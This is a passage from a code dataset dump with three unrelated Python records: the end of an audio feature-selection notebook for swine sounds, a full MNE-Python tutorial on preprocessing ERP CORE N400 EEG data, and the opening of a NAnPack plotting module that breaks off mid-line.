data=df_melt,\n    x='value',\n    hue='rac',\n    row='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfccs_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# From related papers, the MFCCs are some of the most representative features.\n# The main question related the MFCCs is the number of coefficients that will\n# be used. For most use cases, 12 or 13 coefficients seem to be enough.\n#\n# TODO Study and write detailed description of MFCC in monograph.\n#\n# mfcc14 through mfcc19 are discard candidates.\n\n# %%\nplt.figure(figsize=(12, 12))\nsns.heatmap(df.loc[:, mfcc_cols + ['rac']].corr(),\n            vmin=-1.0,\n            vmax=1.0,\n            cmap=\"coolwarm\",\n            center=0.0,\n            robust=True,\n            annot=True,\n            fmt='.1f')\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfccs_corr.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# Initially the highest absolute correlation with 'rac' is onm mfcc9, mfcc15,\n# and mfcc16.\n#\n# The coefficients by themselfs seem to be relatively independent of each\n# other, taking into account only the correlation matrix.\n# This may be an indicator of high representativity of the dataset.\n\n# %% [markdown]\n# ### Visualizing discard candidates\n\n# %%\ndiscard_features = [\n    'zero_crossings',\n    'spectrogram',\n    'mel_spectrogram',\n    'harmonics',\n    'perceptual_shock_wave',\n    'tempo_bpm',\n    'spectral_flux',\n    'spectral_bandwidth_2',\n    'spectral_bandwidth_3',\n    'spectral_bandwidth_4',\n] + chroma_cols + [\n    'mfcc14',\n    'mfcc15',\n    'mfcc16',\n    'mfcc17',\n    'mfcc18',\n    'mfcc19',\n    'mfcc14_delta',\n    'mfcc15_delta',\n    'mfcc16_delta',\n    'mfcc17_delta',\n    'mfcc18_delta',\n    'mfcc19_delta',\n    'mfcc14_accelerate',\n    'mfcc15_accelerate',\n    'mfcc16_accelerate',\n    'mfcc17_accelerate',\n    'mfcc18_accelerate',\n    'mfcc19_accelerate',\n]\n\nprint('# of discarded features:', len(discard_features))\nprint(\n    '# of remaining features:',\n    df.loc[:, 'zero_crossing_rate':].shape[1] -  # type: ignore\n    len(discard_features))\n\n# %% [markdown]\n# # Final comments\n# After analyzing the extracted features for our dataset, the following\n# features are discard candidates:\n#\n# - spectrogram';\n# - mel-spectrogram';\n# - harmonics';\n# - perceptual shock wave;\n# - chroma features;\n# - tempo (bpm);\n# - spectral flux;\n# - spectral bandwidth;\n# - mfcc14, ..., mfcc19.\n#\n# For now, the remaining features shall be used for further analysis and\n# data visualization methods, such as SOMs.\n#\n# If necessary, more features, such as deltas and accelerates, can be\n# discarded, for performance reasons. The relevance of these features should\n# be further analyzed.\n\n# %%\n", "meta": {"hexsha": "f271f69906cd582c4aeac8712e42378f79e8c0c7", "size": 26653, "ext": "py", "lang": "Python", "max_stars_repo_path": "audio_kdd.py", "max_stars_repo_name": "andremsouza/swine_sound_analysis", "max_stars_repo_head_hexsha": "5583bf91b18e8ad2dcaccb30a94c134e2eab34a5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "audio_kdd.py", "max_issues_repo_name": "andremsouza/swine_sound_analysis", "max_issues_repo_head_hexsha": "5583bf91b18e8ad2dcaccb30a94c134e2eab34a5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-01-20T01:56:42.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-20T01:56:42.000Z", "max_forks_repo_path": "audio_kdd.py", "max_forks_repo_name": "andremsouza/swine_sound_analysis", "max_forks_repo_head_hexsha": "5583bf91b18e8ad2dcaccb30a94c134e2eab34a5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.5669882101, "max_line_length": 188, "alphanum_fraction": 0.6631148464, "include": true, "reason": "import numpy", "num_tokens": 7038, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.10970576369015278, "lm_q1q2_score": 0.05271128031208069}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# ---\n# title: ERP Core N400 in MNE-Python: part III\n# date: 2021-04-23\n# image:\n#   preview_only: true\n# tags: \n# - Python\n# - EEG\n# - Preprocessing\n# categories:\n# - Python\n# - EEG\n# - English\n# summary: \"Adapting ICA artifact rejection.\"\n# copyright_license:\n#   enable: true\n#   \n# ---\n\n# In the [last post](https://msilvestrin.me/post/n400_2/) on adapting ERP CORE's N400 pipeline to MNE-Python, we did the ICA-related steps to correct blinking and horizontal eye-movement artfacts from the signal. Here we do some final steps in cleaning the data: interpolation of bad channels, epoching and rejection of epochs with possible artifacts. These steps are decipted in the  _Elist_Bin_Epoch_ script of ERP CORE resources (script 5). \n# \n# Contrary to previous posts, I won't make the whole process in a single participant and show the loop for all participants at the end. That is because the result for some af the steps are saved as intermediate stages of the preprocessing pipeline. I should also tell you up-front that I wasn't able to find implemented equivalents for some of the procedures ERP CORE uses to define artifacts. That forced me to implement a python version of what they do. Therefore, this post is a little longer the the other ones, so buckle up! On the bright side, at the end we will have the data ready to start looking for those N400 ERPs. \n# \n\n# ## Interpolation\n# Our first step here is to interpolate bad channels. Bad channels for each participant are listed in the file \"Interpolate_Channels_N400.xlsx\" provided by ERP CORE. Below, I load the information in that file, make a list of bad channels for each participant and add that list to their `raw.info['bads']`.\n# \n# Load the information:\n\n# In[3]:\n\n\nimport os\nos.chdir('D:\\\\EEGdata\\\\Erp CORE\\\\N400')\n\nimport mne\n# import some methods directly so we can call them by name\nfrom mne.io import read_raw\nfrom mne.epochs import read_epochs\n\nimport numpy as np\nimport pandas as pd\n\nget_ipython().run_line_magic('matplotlib', 'qt')\nget_ipython().run_line_magic('gui', 'qt')\n\n\n# In[8]:\n\n\n# load as DataFrame\ninterpolate_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\EEG_ERP_Processing\\\\Interpolate_Channels_N400.xlsx\"\nchans_interpolate = pd.read_excel(interpolate_path)\n# Turn strings to a list of strings for each participant\nchans_interpolate = chans_interpolate.loc[:,\"Name of Interpolated Channel\"].str.split(\" \")\n\n\n# Now I'll deal with some nuisences in the file: there is an asterisk at the beginning of the channel list for each participant, and Fp channels are in upper-case. We remove the asterisk and correct the captalization.\n\n# In[11]:\n\n\n# make function to remove asterisk and correct \ndef remove_star(item):\n    # if item is a list\n    if isinstance(item, list):\n        # if list is longer than 1\n        if len(item) > 1:\n            # remove asterisk\n            clean_names = [item[0].lstrip(\"*\")]\n            # add channel to a list clean_names\n            clean_names.extend(item[1:])\n            # look for Fp channels and correct captalization\n            for n, elec in enumerate(clean_names):\n                if elec =='FP1' or elec =='FP2':\n                    clean_names[n] = elec.capitalize() \n        else:\n            clean_names = [item[0].lstrip(\"*\")]\n            if clean_names[0] =='FP1' or clean_names[0] =='FP2':\n                clean_names[0] = clean_names[0].capitalize()\n    else:\n        clean_names = np.nan\n    return clean_names\n        \n# apply function \nchans_interpolate = chans_interpolate.apply(remove_star)\nchans_interpolate.loc[chans_interpolate.notnull()].head()\n\n\n# We have already indentified the channels to be interpolated, however if we try to do the interpolation now MNE will throw us an error because we have more EEG channels than mapped on the 3D digitation. The channels HEOG_left, HEOG_right and VEOG_lower are currently identified as EEG channels, but they are actually extra channels we used to make the proper HEOG and VEOG channels. We will drop them, since they already served their purpose.\n# \n# Let's do it for all participants and save an intermediate (\"interpol\") raw file:\n\n# In[ ]:\n\n\nfor subj in range(1,41):\n    raw_correct_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\raw_corrected\\\\N400_ERP_CORE_{}_correct-raw.fif\".format(subj)\n    raw_correct = read_raw(raw_correct_path, preload = True)\n    #only do interpolation if there is at least one channel to interpolate\n    if  not chans_interpolate.isna()[subj-1]:\n        raw_correct.info['bads'].extend(chans_interpolate[subj-1])\n        # drop extra channels\n        raw_correct.drop_channels(['HEOG_left', 'HEOG_right', 'VEOG_lower'])\n        raw_correct.interpolate_bads()\n    else:\n        raw_correct.drop_channels(['HEOG_left', 'HEOG_right', 'VEOG_lower'])\n    \n    interpol_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\raw_interpol\\\\N400_ERP_CORE_{}_interpol-raw.fif\".format(subj)\n    raw_correct.save(interpol_path, overwrite=True)\n\n\n# ## Event list for epochs\n# Now let's make our event list and event_ids for epoching.\n# \n# As we did at the back at beginning of preprocessing [(in this post)](https://msilvestrin.me/post/n400_1/), we will get the events from the `annotations` in the data. Until now, we have two types of annotation descriptions in the data: \"BAD_seg\" and numbers corresponding to triggers used in the experiment. The ERP CORE file \"N400_Event_Code_Scheme.xlsx\" has the meaning for each code. For instance, the code 121 refers to a Priming stimuli which is unrelated to the target stimulus and comes from the second list of words; while the code 201 means that the participant gave a correct answer.\n# \n# We are going to change these codes to a descriptive account of each event. A nice feature of MNE is that we can make _hierarchical ids_. We will follow the hierarchy shown in the N400_Event_Code_Scheme file: Word Type > Relatedness > Word List.\n# \n# First, we will create a dictionary with the correspondence between codes and events to properly identify them later. We will be able to use these ids to select epochs afterwards.\n\n# In[ ]:\n\n\n# load data\nsubj = 1\ninterpol_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\raw_interpol\\\\N400_ERP_CORE_{}_interpol-raw.fif\".format(subj)\nraw_interpol = read_raw(interpol_path)\n# make dict with correspondences between codes and hierarchical ids\ndescription_dict = {'111' : 'Prime/Related/L1',\n             '112' : 'Prime/Related/L2',\n             '121' : 'Prime/Unrelated/L1',\n             '122' : 'Prime/Unrelated/L2',\n             '211' : 'Target/Related/L1',\n             '212' : 'Target/Related/L2',\n             '221' : 'Target/Unrelated/L1',\n             '222' : 'Target/Unrelated/L2',\n             '201' : 'Hit',\n             '202' : 'Miss',\n             'BAD_seg': 'BAD_seg'      \n                   }\n\n\n# We will change the description list with some [Pandas](https://pandas.pydata.org/) functionality. It is beyond this tutorial to teach Pandas' skills, but it is nice for you to know that, although most of the backbone of MNE is in [Numpy](https://numpy.org/), it also allows exportation to Pandas' data structures.\n# \n# In summary, what we do in the one-liner below is make a copy of the annotations descriptions while transforming it to a Pandas series, then we make the substituitions according to our `description dictionary` and turn it back to a numpy array.\n\n# In[ ]:\n\n\nraw_interpol.annotations.description = pd.Series(raw_interpol.annotations.description).map(description_dict).to_numpy()\n# substitute annotations description\nset(raw_interpol.annotations.description)\n\n\n# Now we are almost ready to make the `events` numpy array we will need to epoch the data. We will use the `events_from_annotations` function. One last step before that: create a dictionary with correspondences between hierarchical ids and trigger numbers.\n# \n# You may be wondering why we would do that when we just made the reverse dictionary on our last step. The thing is that MNE's event list is a _numeric array_ composed of columns _instant_, _blank column_ and _event code_, and the default behavior of `events_from_annotations` is to assign the event codes as \\[0,1,2,3...\\]. However, I want to keep the original codes from ERP CORE, so I need to use the `events_id` input with a dict showing the correspondences. I should say that for the rest of our MNE operations the numeric codes themselves are actually rather irrelevant, what really matters are the correspondences in `event_ids`. I am just being picky to keep as close as possible to the original ERP CORE material.\n\n# In[ ]:\n\n\nevent_ids = {'Prime/Related/L1': 111,\n             'Prime/Related/L2': 112,\n             'Prime/Unrelated/L1' : 121,\n             'Prime/Unrelated/L2' : 122,\n             'Target/Related/L1' : 211,\n             'Target/Related/L2' : 212,\n             'Target/Unrelated/L1' : 221,\n             'Target/Unrelated/L2' : 222,\n             'Hit' : 201,\n             'Miss' : 202}\nevents, event_ids = mne.events_from_annotations(raw_interpol, event_ids)\n\n\n# So, our events look like this (_instant_, _blank column_, _event code_):\n\n# In[7]:\n\n\nevents\n\n\n# ## Epoching and artfact rejection\n# The ERP CORE pipeline is __very throrough__ in its epoch dropping due to ocular artifact detection. There are different thresholds for epoch dropping for: (1) EEG channels, (2) the VEOG channel and (3 and 4) for both variations of the HEOG channel (with and without ICA applied). In MNE, we can set epoch rejection thresholds for each channel type by setting the `reject` input when we create the epochs.\n# \n# However, as far as I understand from the documentation, MNE uses a simple peak-to-peak algorithm to do its automatic rejection. ERP CORE pipeline uses such an algorithm only for rejection on the scalp EEG channels. For VEOG and uncorrected HEOG channels it uses a windowed peak-to-peak algorithm and for ICA corrected HEOG it uses a step algorithm (both as implemented in the ERP LAB toolbox).\n# \n# Since ERP CORE gives us the parameters, and the algorithms themselves are quite straightforward, I have implemented them below. I make use of the nifty feature of MNE that allows us to loop through epochs. On each epoch I run the algorithms on the corresponding channels and, if some amplitude is above the threshold, it is marked as bad with a `MW_Reject` annotation. The value compared to the treshold on each algorithm are the following:\n# \n# * Step algorithm: $\\bmod (mean(window1)-mean(window2))$\n# * Peak-to-peak algorithm: $\\bmod (max(window1)-min(window2))$\n# \n# Below, we (1) load the the information we need for the artfact rejection procedure, (2) create the dictionaries we need for marking the events in the experiment (as shown above); then, in the loop, we (3) add the annotations for epoching, (4) do the epoching with `mne.Epochs()`, (5) run the artfact rejection algorithm and (6) save the epochs.\n\n# In[ ]:\n\n\n#get eog channels numbers\nsubj = 1\ninterpol_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\raw_interpol\\\\N400_ERP_CORE_{}_interpol-raw.fif\".format(subj)\nraw_interpol = read_raw(interpol_path)\neog_nums = [np.where(np.array(raw_interpol.ch_names) == 'VEOG')[0].item(0),\n            np.where(np.array(raw_interpol.ch_names) == 'HEOG')[0].item(0),\n            np.where(np.array(raw_interpol.ch_names) == 'HEOG_ICA')[0].item(0)]\n\n#get veog moving windows parameters from files\nveog_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\EEG_ERP_Processing\\\\AR_Parameters_for_MW_CRAP_N400.xlsx\"\nveog_mw_params = pd.read_excel(veog_path)\n#convert time columns to seconds\nveog_mw_params.iloc[:,3:] = veog_mw_params.iloc[:,3:].apply(lambda x: x*1e-3)\n#convert threshold to volts\nveog_mw_params.Threshold = veog_mw_params.Threshold*1e-4\n\n# the same for non ICA corrected heog moving windows\nheog_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\EEG_ERP_Processing\\\\AR_Parameters_for_MW_Blinks_N400.xlsx\"\nheog_mw_params = pd.read_excel(heog_path)\nheog_mw_params.iloc[:,3:] = heog_mw_params.iloc[:,3:].apply(lambda x: x*1e-3)\nheog_mw_params.Threshold = heog_mw_params.Threshold*1e-4\n\n#... and for ICA corrected HEOG moving windows\nheog_ica_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\EEG_ERP_Processing\\\\AR_Parameters_for_SL_HEOG_N400.xlsx\"\nheog_ica_mw_params = pd.read_excel(heog_ica_path)\nheog_ica_mw_params.iloc[:,3:] = heog_ica_mw_params.iloc[:,3:].apply(lambda x: x*1e-3)\nheog_ica_mw_params.Threshold = heog_ica_mw_params.Threshold*1e-4\n\n#put moving windows dfs in a list\nmw_params = [veog_mw_params, heog_mw_params, heog_ica_mw_params]\n\n# make dict with correspondences between codes and hierarchical ids\ndescription_dict = {'111' : 'Prime/Related/L1',\n                    '112' : 'Prime/Related/L2',\n                    '121' : 'Prime/Unrelated/L1',\n                    '122' : 'Prime/Unrelated/L2',\n                    '211' : 'Target/Related/L1',\n                    '212' : 'Target/Related/L2',\n                    '221' : 'Target/Unrelated/L1',\n                    '222' : 'Target/Unrelated/L2',\n                    '201' : 'Hit',\n                    '202' : 'Miss',\n                    'BAD_seg': 'BAD_seg'      \n               }\n\n #create correspondence between description and trigger number\nevent_ids = {'Prime/Related/L1': 111,\n             'Prime/Related/L2': 112,\n             'Prime/Unrelated/L1' : 121,\n             'Prime/Unrelated/L2' : 122,\n             'Target/Related/L1' : 211,\n             'Target/Related/L2' : 212,\n             'Target/Unrelated/L1' : 221,\n             'Target/Unrelated/L2' : 222,\n             'Hit' : 201,\n             'Miss' : 202}\n\n# loop\nfor subj in range(1,41):\n    interpol_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\raw_interpol\\\\N400_ERP_CORE_{}_interpol-raw.fif\".format(subj)\n    raw_interpol = read_raw(interpol_path)\n\n    #add event descriptions to annotations\n    raw_interpol.annotations.description = pd.Series(raw_interpol.annotations.description).map(description_dict).to_numpy()\n    set(raw_interpol.annotations.description)\n   \n    #create events and event ids\n    events, event_ids = mne.events_from_annotations(raw_interpol, event_ids)\n    \n    #change heog channel types\n    raw_interpol.set_channel_types({'HEOG_ICA':'emg', 'HEOG':'misc'})\n    epochs = mne.Epochs(raw_interpol, \n                        events,\n                        event_ids,\n                        baseline = (-.2,0),\n                        tmax = .8,\n                        reject = dict(eeg  = 200e-6)\n                       )\n    \n    epos_to_drop = []\n    # run through every epoch\n    for i in range(len(epochs.events)):\n        # for each channel of interest\n        for eog_chan_num, mw_df in zip(eog_nums, mw_params): #\n            # get moving windows parameters\n                w_size = mw_df['Window Size'].iloc[subj-1]\n                w_start = mw_df['Time Window Minimum'].iloc[subj-1].round(2)\n                w_start_last = np.round(mw_df['Time Window Maximum'].iloc[subj-1] - mw_df['Window Size'].iloc[subj-1],2)\n                w_stop = mw_df['Time Window Maximum'].iloc[subj-1].round(2)\n                w_stop_first = np.round(w_start + w_size,2)\n               # create an array with starting and stopping times of every window\n                mw_starts = np.arange(w_start,\n                                      w_start_last,\n                                      w_size)\n                mw_stops = np.arange(w_stop_first,\n                                     w_stop,\n                                     w_size)\n        # only run if channel is not empty, e.g. already marked as bad\n            if epochs[i].get_data()[:,eog_chan_num,:].shape[0] != 0:\n                #get channel data\n                chan_data = epochs[i].get_data()[:,eog_chan_num,:].flatten()\n                #make list with data for each window\n                mws = [ chan_data[epochs.time_as_index(start).item(0) : epochs.time_as_index(stop).item(0)] for start, stop in zip(mw_starts, mw_stops)]\n\n               # if channel is veog or uncorrected heog do peak-to-peak artfact detection\n                if eog_chan_num < 32:\n                    mws = pd.DataFrame(mws).T\n                    peak2peak = mws.apply(lambda x: np.abs(x.max() - x.min()))\n                    if any(peak2peak > mw_df['Threshold'].iloc[subj-1]):\n                        epos_to_drop.append(i)\n                # if channel is heog_ica do step artfact detection\n                else:\n                    steps = [True for i in range(len(mws)-1) if np.abs(mws[i].mean()-mws[i+1].mean()) > mw_df['Threshold'].iloc[subj-1]] \n                    if steps:\n                        epos_to_drop.append(i)\n    # if any epoch was set as bad add it to drop list with label MW Reject\n    if epos_to_drop: \n        epochs.drop(epos_to_drop,'MW_Reject')\n    #Save epochs                        \n    epochs_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\epochs\\\\N400_ERP_CORE_{}-epo.fif\".format(subj)\n    print('Subject {}'.format(subj)) # line to keep up with analysis as it runs\n    epochs.save(epochs_path, overwrite=True)\n\n\n# Lastly, let's check the percentage of dropped epochs for each participant.\n\n# In[ ]:\n\n\npercent_dropped = pd.DataFrame(data = {'Subj': np.repeat(np.nan, 40),\n                                       'Dropped': np.repeat(np.nan, 40)}) \nfor subj in range(1,41):\n    epochs_path = \"D:\\\\EEGdata\\\\Erp CORE\\\\N400\\\\mne\\\\epochs\\\\N400_ERP_CORE_{}-epo.fif\".format(subj)\n    epochs = read_epochs(epochs_path)\n\n    percent_dropped['Subj'].iloc[subj-1] = subj\n    percent_dropped['Dropped'].iloc[subj-1] = np.round(epochs.drop_log_stats(),2)\n\n\n# In[6]:\n\n\npercent_dropped['Dropped'].describe().round(2)\n\n\n# Dropped epochs per participant range from roughly 4% to 85%. Here, we will set consider participants with more than 30% of epochs dropped as participants with too many artfacts to be used. The ones that do not pass this filter are below:\n\n# In[7]:\n\n\nbad_subjs = percent_dropped.loc[percent_dropped.Dropped >30].Subj\nbad_subjs.to_csv('bad_subjs.csv')\nbad_subjs.count()\n\n\n# We have 5 unsuable participants. This is different from ERP CORE's original preprocessing results, where they lose a single participant. However, I wasn't able to exactly reproduce the ICA step in the pipeline, so that is probably where we are falling a little behind. Anyway, 35 participants are more than enough for us to grasp the N400 effects in the following analyses. So, enough preprocesing, let's get to those ERPs in the next post!\n# \n# Let's finish contemplating some hard earned epochs:\n\n# In[12]:\n\n\nepochs.plot(n_epochs = 4)\n\n", "meta": {"hexsha": "f0e4d64564868af16c9d463407349e9a56ca5aae", "size": 18469, "ext": "py", "lang": "Python", "max_stars_repo_path": "N400_ERP_CORE_3.py", "max_stars_repo_name": "MateusPsi/erp-Core-N400", "max_stars_repo_head_hexsha": "7c2a44087a148a3b7a395cbeec09753d7ff59ece", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-06T03:37:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-06T03:37:41.000Z", "max_issues_repo_path": "N400_ERP_CORE_3.py", "max_issues_repo_name": "MateusPsi/erp-Core-N400", "max_issues_repo_head_hexsha": "7c2a44087a148a3b7a395cbeec09753d7ff59ece", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "N400_ERP_CORE_3.py", "max_forks_repo_name": "MateusPsi/erp-Core-N400", "max_forks_repo_head_hexsha": "7c2a44087a148a3b7a395cbeec09753d7ff59ece", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 50.4617486339, "max_line_length": 722, "alphanum_fraction": 0.6809247929, "include": true, "reason": "import numpy", "num_tokens": 4732, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073334000459302, "lm_q2_score": 0.12940274334274965, "lm_q1q2_score": 0.052710059421073076}}
{"text": "#   ***********************************************************************\r\n#\r\n#   FILE         plots.py\r\n#\r\n#   AUTHOR       Dr. Vishal Sharma\r\n#\r\n#   VERSION      1.0.0-alpha5\r\n#\r\n#   WEBSITE      https://github.com/vxsharma-14/project-NAnPack\r\n#\r\n#   NAnPack Learner's Edition is distributed under the MIT License.\r\n#\r\n#   Copyright (c) 2022 Vishal Sharma\r\n#\r\n#   Permission is hereby granted, free of charge, to any person\r\n#   obtaining a copy of this software and associated documentation\r\n#   files (the \"Software\"), to deal in the Software without restriction,\r\n#   including without limitation the rights to use, copy, modify, merge,\r\n#   publish, distribute, sublicense, and/or sell copies of the Software,\r\n#   and to permit persons to whom the Software is furnished to do so,\r\n#   subject to the following conditions:\r\n#\r\n#   The above copyright notice and this permission notice shall be\r\n#   included in all copies or substantial portions of the Software.\r\n#\r\n#   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n#   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\r\n#   OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\r\n#   BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\r\n#   ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n#   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n#   SOFTWARE.\r\n#\r\n#   You should have received a copy of the MIT License along with\r\n#   NAnPack Learner's Edition.\r\n#\r\n#   ***********************************************************************\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\ndef Plot1D(dataFiles, uAxis, legend, markers, useFileCol,\r\n          title, xlbl, ylbl):\r\n    \"\"\"Plot results along 1D axis.\"\"\"\r\n    print(\"Preparing data to plot results...\")\r\n    countFiles = len(dataFiles)\r\n\r\n    # Assign font family and create axis for plotting\r\n    plt.rc('font', family='sans-serif', size=10)\r\n    fig, ax = plt.subplots(dpi=150)\r\n\r\n    data = {}  # Initialize a dictionary\r\n\r\n    # Use dictionary to create multiple line plots from saved files\r\n    for i in range(countFiles):\r\n        data[f\"x{i}\"] = np.loadtxt(dataFiles[i], unpack=True, skiprows=3,\r\n                                   usecols=0)\r\n        data[f\"u{i}\"] = np.loadtxt(dataFiles[i], unpack=True, skiprows=3,\r\n                                   usecols=useFileCol)\r\n\r\n    # Start plotting\r\n    print(\"Plotting 1D results\")\r\n    for i in range(countFiles):\r\n        if markers is not None:\r\n            mrkr = markers[i]\r\n        else:\r\n            mrkr = None\r\n        if uAxis == \"Y\":\r\n            ax.plot(data[f\"x{i}\"], data[f\"u{i}\"], linewidth=0.5,\r\n                    label=legend[i], marker=mrkr, markersize=3,\r\n                    markevery=3)\r\n        elif uAxis == \"X\":\r\n            ax.plot(data[f\"u{i}\"], data[f\"x{i}\"], linewidth=0.5,\r\n                    label=legend[i], marker=mrkr, markersize=3,\r\n                    markevery=3)\r\n    # Format and customize plot\r\n    plt.grid(which='both', axis='both', color='lightgrey', linestyle=':',\r\n             linewidth=0.5)\r\n    plt.xlabel(xlbl)\r\n    plt.ylabel(ylbl)\r\n    plt.title(title, fontsize=10)\r\n    ax.legend(fontsize=9)\r\n    # plt.tight_layout()\r\n    plt.show()\r\n\r\n\r\ndef Plot2D(dataFile, title, xlbl, ylbl, cbarlbl, ptype, cMap, shade,\r\n          clevel, alpha):\r\n    \"\"\"Plot results within 2D domain.\"\"\"\r\n    print(\"Preparing data to plot results...\")\r\n\r\n    with open(dataFile) as f:\r\n        grid = f.readline().split(\",\")\r\n    iM = int((grid[0].split(\"= \"))[1])\r\n    jM = int((grid[1].split(\"= \"))[1])\r\n\r\n    # Assign font family and create axis for plotting\r\n    plt.rc('font', family='sans-serif', size=10)\r\n    fig, ax = plt.subplots(dpi=150)\r\n\r\n    # Read data from saved file\r\n    x, y, u = np.loadtxt(dataFile, unpack=True, skiprows=3)\r\n\r\n    # Reshape data based on iM and jM\r\n    X = np.reshape(x, (iM, jM))\r\n    Y = np.reshape(y, (iM, jM))\r\n    U = np.reshape(u, (iM, jM))\r\n\r\n    if ptype == \"pcolormesh\":\r\n        # pcolormesh plot\r\n        plt.pcolormesh(X, Y, U, cmap=cMap, shading=shade)\r\n    elif ptype == \"contourf\":\r\n        # filled contour plots\r\n        plt.contourf(X, Y, U, cmap=cMap, levels=clevel)\r\n    elif ptype == \"contour\":\r\n        # contour plots\r\n        plt.contour(X, Y, U, cmap=cMap, levels=clevel)\r\n    elif ptype == \"imshow\":\r\n        # image plots\r\n        plt.imshow(U, origin=\"lower\", cmap=cMap, interpolation=\"bilinear\")\r\n    elif ptype == \"pcolor\":\r\n        #\r\n        plt.pcolor(X, Y, U, alpha=alpha, cmap=cMap)\r\n\r\n    # Format and customize plot\r\n    plt.xlabel(xlbl, size=10)\r\n    plt.ylabel(ylbl)\r\n    plt.title(title, fontsize=10)\r\n    if cbarlbl is not None:\r\n        cbar = plt.colorbar(format='%.0e')\r\n        cbar.set_label(cbarlbl, rotation=270, size=10, labelpad=15)\r\n\r\n    plt.tight_layout()\r\n    plt.gca().set_aspect('equal', adjustable='box')\r\n    plt.show()\r\n\r\n\r\ndef MultiPlot2D(nplots, nrow, ncol, dataFiles, title,\r\n                xlbl, ylbl, cbarlbl, ptype, cMap, shade, clevel, alpha):\r\n    \"\"\"Plot multiple results in a single image.\"\"\"\r\n    print(\"Preparing data to plot results...\")\r\n\r\n    # Assign font family and create axis for plotting\r\n    plt.rc('font', family='sans-serif', size=10)\r\n    fig, ax = plt.subplots(dpi=150)\r\n\r\n    data = {}  # Initialize a dictionary\r\n    DATA = {}\r\n    iM = []\r\n    jM = []\r\n    for i in range(nplots):\r\n        with open(dataFiles[i]) as f:\r\n            grid = f.readline().split(\",\")\r\n        iM.append(int((grid[0].split(\"= \"))[1]))\r\n        jM.append(int((grid[1].split(\"= \"))[1]))\r\n\r\n    # Use dictionary to create multiple plots\r\n    for i in range(nplots):\r\n        data[f\"x{i}\"], data[f\"y{i}\"], data[f\"u{i}\"] = (\r\n            np.loadtxt(dataFiles[i], unpack=True, skiprows=3))\r\n\r\n        # Reshape data based on iM and jM\r\n        DATA[f\"X{i}\"] = np.reshape(data[f\"x{i}\"], (iM[i], jM[i]))\r\n        DATA[f\"Y{i}\"] = np.reshape(data[f\"y{i}\"], (iM[i], jM[i]))\r\n        DATA[f\"U{i}\"] = np.reshape(data[f\"u{i}\"], (iM[i], jM[i]))\r\n\r\n    for i in range(nplots):\r\n        plt.subplot(nrow, ncol, i+1)\r\n\r\n        if ptype == \"pcolormesh\":\r\n            # pcolormesh plot\r\n            img = plt.pcolormesh(DATA[f\"X{i}\"], DATA[f\"Y{i}\"],\r\n                                 DATA[f\"U{i}\"],\r\n                                 cmap=cMap, shading=shade)\r\n        elif ptype == \"contourf\":\r\n            # filled contour plots\r\n            img = plt.contourf(DATA[f\"X{i}\"], DATA[f\"Y{i}\"], DATA[f\"U{i}\"],\r\n                               cmap=cMap, levels=clevel)\r\n        elif ptype == \"contour\":\r\n            # contour plots\r\n            img = plt.contour(DATA[f\"X{i}\"], DATA[f\"Y{i}\"], DATA[f\"U{i}\"],\r\n                              cmap=cMap, levels=clevel)\r\n        elif ptype == \"imshow\":\r\n            # image plots\r\n            img = plt.imshow(DATA[f\"U{i}\"], origin=\"lower\", cmap=cMap,\r\n                             interpolation=\"bilinear\")\r\n        elif ptype == \"pcolor\":\r\n            # pcolor plots\r\n            img = plt.pcolor(DATA[f\"X{i}\"], DATA[f\"Y{i}\"], DATA[f\"U{i}\"],\r\n                             alpha=alpha, cmap=cMap)\r\n\r\n        cbar_axismap(img, 